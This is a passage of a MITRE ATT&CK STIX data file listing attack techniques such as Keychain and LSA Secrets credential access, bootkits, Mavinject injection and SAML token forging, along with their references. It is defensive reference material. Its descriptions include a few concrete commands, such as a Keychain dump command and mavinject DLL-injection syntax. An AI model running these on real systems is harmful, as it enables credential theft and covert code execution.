                    "source_name": "Apple Dev SecurityD",
                    "description": "Apple. (n.d.). Security Server and Security Agent. Retrieved March 29, 2024.",
                    "url": "https://developer.apple.com/library/archive/documentation/Security/Conceptual/Security_Overview/Architecture/Architecture.html"
                },
                {
                    "source_name": "OS X Keychain",
                    "description": "Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20130106164109/https://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain"
                },
                {
                    "source_name": "OSX Keydnap malware",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
                }
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            "modified": "2025-10-24T17:48:28.055Z",
            "name": "Securityd Memory",
            "description": "An adversary with root access may gather credentials by reading `securityd`\u2019s memory. `securityd` is a service/daemon responsible for implementing security protocols such as encryption and authorization.(Citation: Apple Dev SecurityD) A privileged adversary may be able to scan through `securityd`'s memory to find the correct sequence of keys to decrypt the user\u2019s logon keychain. This may provide the adversary with various plaintext passwords, such as those for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware)\n\nIn OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.(Citation: OS X Keychain)(Citation: External to DA, the OS X Way) Apple\u2019s `securityd` utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)",
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            "type": "attack-pattern",
            "id": "attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b",
            "created": "2021-08-06T13:10:12.916Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1615",
                    "external_id": "T1615"
                },
                {
                    "source_name": "ADSecurity GPO Persistence 2016",
                    "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.",
                    "url": "https://adsecurity.org/?p=2716"
                },
                {
                    "source_name": "Microsoft gpresult",
                    "description": "Microsoft. (2017, October 16). gpresult. Retrieved August 6, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult"
                },
                {
                    "source_name": "Github PowerShell Empire",
                    "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.",
                    "url": "https://github.com/PowerShellEmpire/Empire"
                },
                {
                    "source_name": "TechNet Group Policy Basics",
                    "description": "srachui. (2012, February 13). Group Policy Basics \u2013 Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.",
                    "url": "https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/"
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            "name": "Group Policy Discovery",
            "description": "Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path `\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)\n\nAdversaries may use commands such as <code>gpresult</code> or various publicly available PowerShell functions, such as <code>Get-DomainGPO</code> and <code>Get-DomainGPOLocalGroup</code>, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain or Tenant Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.",
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                    "phase_name": "discovery"
                }
            ],
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            "x_mitre_contributors": [
                "Ted Samuels, Rapid7",
                "Jonhnathan Ribeiro, 3CORESec, @_w0rk3r"
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            "x_mitre_domains": [
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            "type": "attack-pattern",
            "id": "attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba",
            "created": "2019-12-19T21:05:38.123Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1542/003",
                    "external_id": "T1542.003"
                },
                {
                    "source_name": "Lau 2011",
                    "description": "Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.",
                    "url": "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion"
                },
                {
                    "source_name": "Mandiant M Trends 2016",
                    "description": "Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20211024160454/https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf"
                },
                {
                    "source_name": "welivesecurity",
                    "description": "Martin Smol\u00e1r. (2023, March 1). BlackLotus UEFI bootkit: Myth confirmed. Retrieved February 11, 2025.",
                    "url": "https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/"
                },
                {
                    "source_name": "Microsoft Security",
                    "description": "Microsoft Incident Response. (2023, April 11). Guidance for investigating attacks using CVE-2022-21894: The BlackLotus campaign. Retrieved February 12, 2025.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/"
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            "name": "Bootkit",
            "description": "Adversaries may use bootkits to persist on systems. A bootkit is a malware variant that modifies the boot sectors of a hard drive, allowing malicious code to execute before a computer's operating system has loaded. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\nIn BIOS systems, a bootkit may modify the Master Boot Record (MBR) and/or Volume Boot Record (VBR).(Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code.(Citation: Lau 2011)\n\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\n\nIn UEFI (Unified Extensible Firmware Interface) systems, a bootkit may instead create or modify files in the EFI system partition (ESP). The ESP is a partition on data storage used by devices containing UEFI that allows the system to boot the OS and other utilities used by the system. An adversary can use the newly created or patched files in the ESP to run malicious kernel code.(Citation: Microsoft Security)(Citation: welivesecurity)",
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                    "phase_name": "stealth"
                },
                {
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                    "phase_name": "persistence"
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "2.0"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec",
            "created": "2017-05-31T21:30:31.584Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1025",
                    "external_id": "T1025"
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            "modified": "2025-10-24T17:48:28.431Z",
            "name": "Data from Removable Media",
            "description": "Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. \n\nSome adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.",
            "kill_chain_phases": [
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                    "phase_name": "collection"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.3"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d",
            "created": "2017-05-31T21:31:26.474Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1116",
                    "external_id": "T1116"
                },
                {
                    "source_name": "Wikipedia Code Signing",
                    "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.",
                    "url": "https://en.wikipedia.org/wiki/Code_signing"
                },
                {
                    "source_name": "Janicab",
                    "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.",
                    "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/"
                },
                {
                    "source_name": "Securelist Digital Certificates",
                    "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.",
                    "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/"
                },
                {
                    "source_name": "Symantec Digital Certificates",
                    "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.",
                    "url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates"
                }
            ],
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            "modified": "2026-04-14T22:53:15.940Z",
            "name": "Code Signing",
            "description": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.",
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--1bae753e-8e52-4055-a66d-2ead90303ca9",
            "created": "2021-09-22T17:45:10.241Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1218/013",
                    "external_id": "T1218.013"
                },
                {
                    "source_name": "ATT Lazarus TTP Evolution",
                    "description": "Fernando Martinez. (2021, July 6). Lazarus campaign TTPs and evolution. Retrieved September 22, 2021.",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/lazarus-campaign-ttps-and-evolution"
                },
                {
                    "source_name": "LOLBAS Mavinject",
                    "description": "LOLBAS. (n.d.). Mavinject.exe. Retrieved September 22, 2021.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Mavinject/"
                },
                {
                    "source_name": "Mavinject Functionality Deconstructed",
                    "description": "Matt Graeber. (2018, May 29). mavinject.exe Functionality Deconstructed. Retrieved September 22, 2021.",
                    "url": "https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e"
                },
                {
                    "source_name": "Reaqta Mavinject",
                    "description": "Reaqta. (2017, December 16). From False Positive to True Positive: the story of Mavinject.exe, the Microsoft Injector. Retrieved September 22, 2021.",
                    "url": "https://reaqta.com/2017/12/mavinject-microsoft-injector/"
                }
            ],
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            "modified": "2026-05-12T15:12:00.622Z",
            "name": "Mavinject",
            "description": "Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)\n\nAdversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. <code>C:\\Windows\\system32\\mavinject.exe PID /INJECTRUNNING PATH_DLL</code>).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. \n\nIn addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its  <code>/HMODULE</code> command-line parameter (ex. <code>mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER</code>). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)",
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            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "3.0"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--1c2fd73a-e634-44ed-b1b5-9e7cf7404e9f",
            "created": "2019-09-04T14:41:32.317Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1522",
                    "external_id": "T1522"
                },
                {
                    "source_name": "AWS Instance Metadata API",
                    "description": "AWS. (n.d.). Instance Metadata and User Data. Retrieved July 18, 2019.",
                    "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html"
                },
                {
                    "source_name": "RedLock Instance Metadata API 2018",
                    "description": "Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.",
                    "url": "https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse"
                }
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            "object_marking_refs": [
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            "modified": "2025-10-24T17:48:28.695Z",
            "name": "Cloud Instance Metadata API",
            "description": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>.\n",
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                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
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            "description": "Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user\u2019s local system, such as Outlook storage or cache files.\n\nOutlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\\Users\\<username>\\Documents\\Outlook Files` or `C:\\Users\\<username>\\AppData\\Local\\Microsoft\\Outlook`.(Citation: Microsoft Outlook Files)",
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            "type": "attack-pattern",
            "id": "attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3",
            "created": "2020-02-12T18:55:24.728Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1555/001",
                    "external_id": "T1555.001"
                },
                {
                    "source_name": "External to DA, the OS X Way",
                    "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.",
                    "url": "https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418"
                },
                {
                    "source_name": "Keychain Services Apple",
                    "description": "Apple. (n.d.). Keychain Services. Retrieved April 11, 2022.",
                    "url": "https://developer.apple.com/documentation/security/keychain_services"
                },
                {
                    "source_name": "Empire Keychain Decrypt",
                    "description": "Empire. (2018, March 8). Empire keychaindump_decrypt Module. Retrieved April 14, 2022.",
                    "url": "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/keychaindump_decrypt.py"
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                {
                    "source_name": "OSX Keychain Schaumann",
                    "description": "Jan Schaumann. (2015, November 5). Using the OS X Keychain to store and retrieve passwords. Retrieved March 31, 2022.",
                    "url": "https://www.netmeister.org/blog/keychain-passwords.html"
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                {
                    "source_name": "Keychain Decryption Passware",
                    "description": "Yana Gourenko. (n.d.). A Deep Dive into Apple Keychain Decryption. Retrieved April 13, 2022.",
                    "url": "https://support.passware.com/hc/en-us/articles/4573379868567-A-Deep-Dive-into-Apple-Keychain-Decryption"
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            "description": "Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple\u2019s iCloud service. \n\nKeychains can be viewed and edited through the Keychain Access application or using the command-line utility <code>security</code>. Keychain files are located in <code>~/Library/Keychains/</code>, <code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)\n\nAdversaries may gather user credentials from Keychain storage/memory. For example, the command <code>security dump-keychain \u2013d</code> will dump all Login Keychain credentials from <code>~/Library/Keychains/login.keychain-db</code>. Adversaries may also directly read Login Keychain credentials from the <code>~/Library/Keychains/login.keychain</code> file. Both methods require a password, where the default password for the Login Keychain is the current user\u2019s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt)  ",
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            "id": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
            "created": "2020-01-23T17:46:59.535Z",
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                    "url": "https://attack.mitre.org/techniques/T1547",
                    "external_id": "T1547"
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                {
                    "source_name": "Cylance Reg Persistence Sept 2013",
                    "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20160214140250/http://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order"
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                {
                    "source_name": "MSDN Authentication Packages",
                    "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx"
                },
                {
                    "source_name": "Microsoft Run Key",
                    "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved September 12, 2024.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys"
                },
                {
                    "source_name": "Microsoft TimeProvider",
                    "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx"
                },
                {
                    "source_name": "Linux Kernel Programming",
                    "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.",
                    "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf"
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                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
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            "created": "2020-02-21T16:22:09.493Z",
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                    "url": "https://attack.mitre.org/techniques/T1003/004",
                    "external_id": "T1003.004"
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                {
                    "source_name": "Tilbury Windows Credentials",
                    "description": "Chad Tilbury. (2017, August 8). 1Windows Credentials: Attack, Mitigation, Defense. Retrieved February 21, 2020.",
                    "url": "https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf"
                },
                {
                    "source_name": "ired Dumping LSA Secrets",
                    "description": "Mantvydas Baranauskas. (2019, November 16). Dumping LSA Secrets. Retrieved February 21, 2020.",
                    "url": "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets"
                },
                {
                    "source_name": "Microsoft AD Admin Tier Model",
                    "description": "Microsoft. (2019, February 14). Active Directory administrative tier model. Retrieved February 21, 2020.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material?redirectedfrom=MSDN"
                },
                {
                    "source_name": "Passcape LSA Secrets",
                    "description": "Passcape. (n.d.). Windows LSA secrets. Retrieved February 21, 2020.",
                    "url": "https://www.passcape.com/index.php?section=docsys&cmd=details&id=23"
                },
                {
                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "url": "https://github.com/mattifestation/PowerSploit"
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            "name": "LSA Secrets",
            "description": "Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at <code>HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets</code>. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)\n\n[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)",
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                {
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1"
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            "created": "2017-05-31T21:30:26.057Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1013",
                    "external_id": "T1013"
                },
                {
                    "source_name": "AddMonitor",
                    "description": "Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014.",
                    "url": "http://msdn.microsoft.com/en-us/library/dd183341"
                },
                {
                    "source_name": "Bloxham",
                    "description": "Bloxham, B. (n.d.). Getting Windows to Play with Itself &#91;PowerPoint slides&#93;. Retrieved November 12, 2014.",
                    "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
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            "name": "Port Monitors",
            "description": "A port monitor can be set through the  (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in <code>C:\\Windows\\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.",
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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                    "external_id": "T1600"
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                {
                    "source_name": "Cisco Synful Knock Evolution",
                    "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
                    "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
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            "name": "Weaken Encryption",
            "description": "Adversaries may compromise a network device\u2019s encryption capability in order to bypass encryption that would otherwise protect data communications.(Citation: Cisco Synful Knock Evolution)\n\nEncryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.\n\nAdversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and [Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device\u2019s ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts.(Citation: Cisco Blog Legacy Device Attacks)",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1606/002",
                    "external_id": "T1606.002"
                },
                {
                    "source_name": "Microsoft SolarWinds Steps",
                    "description": "Lambert, J. (2020, December 13). Important steps for customers to protect themselves from recent nation-state cyberattacks. Retrieved December 17, 2020.",
                    "url": "https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/"
                },
                {
                    "source_name": "Microsoft SAML Token Lifetimes",
                    "description": "Microsoft. (2020, December 14). Configurable token lifetimes in Microsoft Identity Platform. Retrieved December 22, 2020.",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes"
                },
                {
                    "source_name": "Microsoft SolarWinds Customer Guidance",
                    "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.",
                    "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"
                },
                {
                    "source_name": "Cyberark Golden SAML",
                    "description": "Reiner, S. (2017, November 21). Golden SAML: Newly Discovered Attack Technique Forges Authentication to Cloud Apps. Retrieved December 17, 2020.",
                    "url": "https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"
                },
                {
                    "source_name": "Sygnia Golden SAML",
                    "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved November 17, 2024.",
                    "url": "https://www.sygnia.co/threat-reports-and-advisories/golden-saml-attack/"
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            "name": "SAML Tokens",
            "description": "An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the <code>NotOnOrAfter</code> value of the <code>conditions ...</code> element in a token. This value can be changed using the <code>AccessTokenLifetime</code> in a <code>LifetimeTokenPolicy</code>.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)\n\nAn adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nAn adversary may gain administrative Entra ID privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)",
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                    "source_name": "capec",
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                {
                    "source_name": "Trend Micro Pawn Storm OAuth 2017",
                    "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks"
                }
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            "modified": "2025-10-24T17:48:30.500Z",
            "name": "Spearphishing Link",
